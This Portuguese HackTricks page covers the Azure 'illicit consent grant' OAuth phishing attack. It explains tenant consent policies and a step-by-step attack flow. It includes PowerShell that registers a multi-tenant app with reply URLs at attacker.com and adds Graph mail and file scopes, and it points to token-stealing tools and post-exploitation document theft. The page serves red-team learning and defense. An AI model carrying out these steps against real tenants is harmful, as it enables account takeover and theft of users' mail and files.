Português - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Illicit Consent Grant

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Phishing de Aplicativo OAuth

As Aplicações Azure solicitam permissões para acessar os dados do usuário (informações básicas, mas também acesso a documentos, envio de e-mails...). Se permitido, um usuário normal pode conceder consentimento apenas para permissões de "Baixo Impacto". Em todos os outros casos, é necessário o consentimento do administrador. GA, ApplicationAdministrator, CloudApplication Administrator e uma função personalizada incluindo permissão para conceder permissões a aplicativos podem fornecer consentimento em nível de locatário.

Somente permissões que não requerem consentimento do administrador são classificadas como baixo impacto. Essas são permissões necessárias para login básico, como openid, profile, email, User.Read e offline_access. Se uma organização permite o consentimento do usuário para todos os aplicativos, um funcionário pode conceder consentimento a um aplicativo para ler as informações acima de seu perfil.

Portanto, um atacante poderia preparar um Aplicativo malicioso e, com um phishing, fazer o usuário aceitar o Aplicativo e roubar seus dados.

2 Tipos de Ataques de Concessão de Consentimento Ilícito

  • Não autenticado: A partir de uma conta externa, crie um aplicativo com as permissões User.Read e User.ReadBasic.All, por exemplo, pesque um usuário e você poderá acessar informações do diretório.

  • Isso requer que o usuário pescado possa aceitar aplicativos OAuth de ambientes externos!

  • Autenticado: Tendo comprometido um principal com privilégios suficientes, crie um aplicativo dentro da conta e pesque algum usuário privilegiado que possa aceitar permissões privilegiadas do OAuth.

  • Neste caso, você já pode acessar as informações do diretório, então a permissão User.ReadBasic.All não é mais interessante.

  • Você provavelmente está interessado em permissões que requerem um administrador para concedê-las, porque o usuário comum não pode dar permissão a aplicativos OAuth, por isso você precisa pescar apenas esses usuários (mais sobre quais funções/permissões concedem esse privilégio posteriormente)

Verificar se os usuários estão autorizados a consentir

O comando PowerShell a seguir é usado para verificar a configuração de consentimento para usuários no Azure Active Directory (Azure AD) em relação à capacidade de consentir em aplicativos:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Desativar consentimento do usuário: Essa configuração proíbe os usuários de conceder permissões a aplicativos. Nenhum consentimento do usuário para aplicativos é permitido.

  • Usuários podem consentir em aplicativos de editores verificados ou de sua organização, mas apenas para permissões selecionadas: Essa configuração permite que todos os usuários concedam consentimento apenas para aplicativos publicados por um editor verificado e aplicativos registrados em seu próprio locatário. Adiciona uma camada de controle ao permitir consentimento apenas para permissões específicas.

  • Usuários podem consentir em todos os aplicativos: Essa configuração é mais permissiva e permite que todos os usuários concedam consentimento para quaisquer permissões de aplicativos, desde que essas permissões não exijam consentimento administrativo.

  • Política de consentimento de aplicativo personalizada: Essa configuração indica que uma política personalizada está em vigor, que pode ser adaptada às exigências organizacionais específicas e pode envolver uma combinação de restrições com base no editor do aplicativo, nas permissões solicitadas pelo aplicativo e em outros fatores.

Compreendendo o Ataque de Concessão de Consentimento Ilícito

Em um ataque de concessão de consentimento ilícito, os atacantes enganam os usuários finais para conceder permissões a um aplicativo malicioso registrado no Azure. Isso é feito fazendo com que o aplicativo pareça legítimo, levando as vítimas a clicar inadvertidamente em um botão "Aceitar". Como resultado, o Azure AD emite um token para o site do atacante, permitindo que eles acessem e manipulem os dados da vítima, como ler ou enviar e-mails e acessar arquivos, sem precisar de uma conta organizacional.

Visão Geral do Fluxo do Ataque

O ataque envolve várias etapas visando uma empresa genérica. Veja como ele pode se desenrolar:

  1. Registro de Domínio e Hospedagem de Aplicativo: O atacante registra um domínio semelhante a um site confiável, por exemplo, "safedomainlogin.com". Sob esse domínio, é criado um subdomínio (por exemplo, "nomedaempresa.safedomainlogin.com") para hospedar um aplicativo projetado para capturar códigos de autorização e solicitar tokens de acesso.

  2. Registro do Aplicativo no Azure AD: O atacante então registra um Aplicativo Multi-Tenant em seu Locatário do Azure AD, nomeando-o com o nome da empresa-alvo para parecer legítimo. Eles configuram o URL de Redirecionamento do aplicativo para apontar para o subdomínio que hospeda o aplicativo malicioso.

  3. Configuração de Permissões: O atacante configura o aplicativo com várias permissões de API (por exemplo, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Essas permissões, uma vez concedidas pelo usuário, permitem que o atacante extraia informações sensíveis em nome do usuário.

  4. Distribuição de Links Maliciosos: O atacante cria um link contendo o ID do cliente do aplicativo malicioso e o compartilha com os usuários-alvo, enganando-os para conceder consentimento.

Utilizando Ferramentas para o Ataque

O ataque pode ser facilitado usando ferramentas como 365-Stealer.

Preparação Pré-Ataque:

Se o atacante tiver algum nível de acesso a um usuário na organização da vítima, ele pode verificar se a política da organização permite que o usuário aceite aplicativos:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Para executar o ataque, o atacante precisaria criar um novo aplicativo em seu Azure Tenant (em Registros de Aplicativos), configurado com as permissões:

User.ReadBasic.All está dentro de Microsoft Graph em Permissões delegadas. (Permissões de aplicativo sempre precisarão de aprovação adicional).

  • User.ReadBasic.All é a permissão que permitirá que você leia informações de todos os usuários na organização se concedida.

  • Lembre-se de que somente GA, ApplicationAdministrator, CloudApplication Administrator e uma função personalizada incluindo permissão para conceder permissões a aplicativos podem fornecer consentimento em nível de locatário. Portanto, você deve phish um usuário com uma dessas funções se quiser que ele aprove um Aplicativo que requer consentimento de administrador.

Você também pode criar um aplicativo via cli com:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Verifique https://www.alteredsecurity.com/post/introduction-to-365-stealer para aprender como configurá-lo.

Note que o token de acesso obtido será para o endpoint de gráficos com os escopos: User.Read e User.ReadBasic.All (as permissões solicitadas). Você não poderá realizar outras ações (mas essas são suficientes para baixar informações sobre todos os usuários na organização).

O365-Attack-Toolkit

Você também pode usar essa ferramenta para realizar esse ataque.

Pós-Exploração

Depois de obter acesso ao usuário, você pode fazer coisas como roubar documentos sensíveis e até mesmo fazer upload de arquivos de documentos com backdoor.

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

AnteriorAz - Unauthenticated Enum & Initial EntrySiguienteAz - Device Code Authentication Phishing

Última actualización